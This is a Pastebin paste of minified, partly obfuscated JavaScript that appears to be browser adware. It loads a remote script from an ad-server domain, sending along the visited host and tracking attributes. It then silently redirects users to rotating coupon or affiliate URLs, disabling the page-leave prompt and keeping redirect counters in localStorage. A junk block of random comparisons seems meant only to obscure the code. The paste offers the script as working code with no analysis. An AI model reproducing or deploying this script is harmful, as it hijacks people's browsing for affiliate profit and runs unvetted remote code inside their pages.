Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function() {
- function t(a) {
- return a.replace(/(^\s+)|(\s+$)/g, "")
- }
- function B(a, f) {
- var b = a.surl.length,
- c = f.surl.length;
- return b > c ? -1 : b < c ? 1 : 0
- }
- function C(a, f, b) {
- var f = f || function() {},
- b = b || function() {},
- c = a.domains,
- d = a.urls,
- g = a.deeplink,
- i = a.check_disable;
- if ("undefined" !== typeof i && i[k] && i[k].need_check)
- if (document.referrer) {
- if (i[k].is_disabled) {
- if (document.referrer.split(/\/+/g)[1].replace(/www\./i, "") === k) {
- setTimeout(b, 10);
- return
- }
- i[k].is_disabled = !1;
- j.setValue("__bb_js_preffix_urls", a)
- }
- } else {
- i[k].is_disabled = !0;
- j.setValue("__bb_js_preffix_urls", a);
- setTimeout(b, 10);
- return
- }
- if (d = d[r]) {
- var h;
- "object" === typeof d ? (h = d[0], d.splice(0, 1), d.push(h), j.setValue("__bb_js_preffix_urls", a)) : h = d;
- setTimeout(function() {
- f(h)
- }, 10)
- } else if (g && g[k]) e = g[k], c = !1, e.current_page <= e.page_visible && (e.current_page++, j.setValue("__bb_js_preffix_urls", a), e.current_page === e.page_visible && ("object" === typeof e.rurl ? (h = e.rurl[0], e.rurl.splice(0, 1), e.rurl.push(h), j.setValue("__bb_js_preffix_urls", a)) : h = e.rurl, h += e.deeplink, h += r.split("?")[0],
- setTimeout(function(a) {
- return function() {
- f(a)
- }
- }(h), 10), c = !0)), c || setTimeout(b, 10);
- else if (c[k]) {
- d = c[k];
- c = !1;
- g = 0;
- for (i = d.length; g < i; ++g) {
- var e = d[g];
- if (0 === r.indexOf(e.surl) && e.count < e.max) {
- e.count++;
- "object" === typeof e.rurl ? (h = e.rurl[0], e.rurl.splice(0, 1), e.rurl.push(h)) : h = e.rurl;
- j.setValue("__bb_js_preffix_urls", a);
- setTimeout(function(a) {
- return function() {
- f(a)
- }
- }(h), 10);
- c = !0;
- break
- }
- }
- c || setTimeout(b, 10)
- } else setTimeout(b, 10)
- }
- function D(a) {
- var f = j.getValue("__bb_js_preffix_cleared_time", null);
- if (f) {
- if (36E5 <
- (new Date).getTime() - f) {
- f = !1;
- if ("undefined" !== typeof a.domains) {
- var b = a.domains,
- c;
- for (c in b)
- if (b.hasOwnProperty(c))
- for (var d = b[c], g = 0, i = d.length; g < i; ++g) d[g].count = 0, f = !0
- }
- if ("undefined" !== typeof a.deeplink)
- for (c in b = a.deeplink, b) b.hasOwnProperty(c) && (d = b[c], d.hasOwnProperty("current_page") && (d.current_page = 0, f = !0));
- !0 === f && (j.setValue("__bb_js_preffix_urls", a), j.setValue("__bb_js_preffix_cleared_time", (new Date).getTime()))
- }
- } else j.setValue("__bb_js_preffix_cleared_time", (new Date).getTime())
- }
- function E(a) {
- D(a);
- var f = u(),
- b = "bonus";
- f && (b = f.getAttribute("data-wid") || "bonus");
- "1011" != b && C(a, function(a) {
- window.onbeforeunload = function() {};
- a = a.replace("bonus", b).replace("bendar", b);
- p.location.assign(a)
- })
- }
- function y(a) {
- delete p.__bb_js_preffix_redirections_coupons;
- j.setValue("__bb_js_preffix_urls", a);
- E(a)
- }
- function F() {
- var a = "",
- f = u();
- if (f)
- for (var b = "_e,_c,_re,_cl,data-wid,data-sid,data-sud".split(","), c, d = 0, g = b.length; d < g; ++d)(c = f.getAttribute(b[d])) && (a += "&" + b[d] + "=" + c);
- return a
- }
- function G() {
- p.__bb_js_preffix_redirections_coupons =
- function(a, b, c, d) {
- var g = z,
- i = g.domains,
- h = g.urls,
- e = g.deeplink,
- k = g.check_disable,
- n = u();
- n && n.getAttribute("data-wid");
- for (var q in a)
- if (a.hasOwnProperty(q)) {
- var n = t(q),
- o = n.indexOf("*"),
- m = null,
- s = n.split(/\/+/g)[1];
- k[s] = a[q].disable_tn ? {
- need_check: !0
- } : {
- need_check: !1
- };
- var l = a[q].d_url;
- if ("object" === typeof l) {
- for (var m = [], v = 0, r = l.length; v < r; v++) l[v] && m.push(t(l[v]));
- l = m
- } else l = [], l.push(t(a[q].d_url));
- m = a[q].dl;
- null !== m ? (m = t(m), e[s] = {
- deeplink: m,
- rurl: l,
- page_visible: 2,
- current_page: 0
- }) : 0 <= o ? (i[s] || (i[s] = []),
- i[s].push({
- max: 1,
- count: 0,
- surl: n.substr(0, o),
- rurl: l
- })) : h[n] = l
- }
- for (var p in i) i.hasOwnProperty(p) && i[p].sort(B);
- j.setValue("__bb_js_preffix_urls", g);
- y(g, b, c, d)
- };
- var a = u();
- a && a.getAttribute("data-wid");
- a = H("script");
- a.src = I + "js/redirecs2coupons?host=" + k + F() + "&modern=1";
- J.appendChild(a)
- }(function() {
- var a = 0;
- 15 + 10 * Math.random() === Math.random() && (a = 15 + 0 * Math.random());
- (a = 1 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 1);
- (a = 2 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 2);
- (a = 3 + a) && a < Math.random() &&
- (localStorage.__agbsesrrrrisr = 3);
- (a = 4 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 4);
- (a = 5 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 5);
- (a = 6 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 6);
- (a = 7 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 7);
- (a = 8 + a) && a < Math.random() && (localStorage.__agbsesrrrrisr = 8);
- return a
- })();
- var I = "//dmp.adriverssp.com/",
- r = location.href.replace(/www\./i, ""),
- k = location.host.replace(/^www\./i, ""),
- w = document,
- p = window,
- J = w.body,
- x = {},
- z = {
- domains: {},
- urls: {},
- deeplink: {},
- check_disable: {}
- },
- j = function() {
- for (var a = {}, f = 0, b = localStorage.length; f < b; f++) {
- var c = localStorage.key(f),
- d = null;
- try {
- /^__bb_js_preffix/.test(c) && (d = localStorage.getItem(c), a[c] = JSON.parse(d))
- } catch (g) {
- a[c] = d
- }
- }
- return {
- getValue: function(b, c) {
- var e = a[b];
- return "undefined" !== typeof e ? e : c
- },
- setValue: function(b, c) {
- var e = a[b],
- d = "object" === typeof c ? JSON.parse(JSON.stringify(c)) : c;
- e !== d && (a[b] = d, localStorage.setItem(b, "object" === typeof d ? JSON.stringify(d) : d));
- return c
- }
- }
- }(),
- u = x.a = function() {
- return w.getElementById("__bb_js_preffix_id")
- },
- H = x.b = function(a) {
- return w.createElement(a)
- },
- o = j.getValue("__bb_js_preffix_installTime", null),
- A = (new Date).getTime();
- !o || 432E5 < A - o ? (j.setValue("__bb_js_preffix_installTime", A), G()) : (o = j.getValue("__bb_js_preffix_urls", z)) ? y(o, {}, 0, 0) : doCoupons();
- return x
- })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement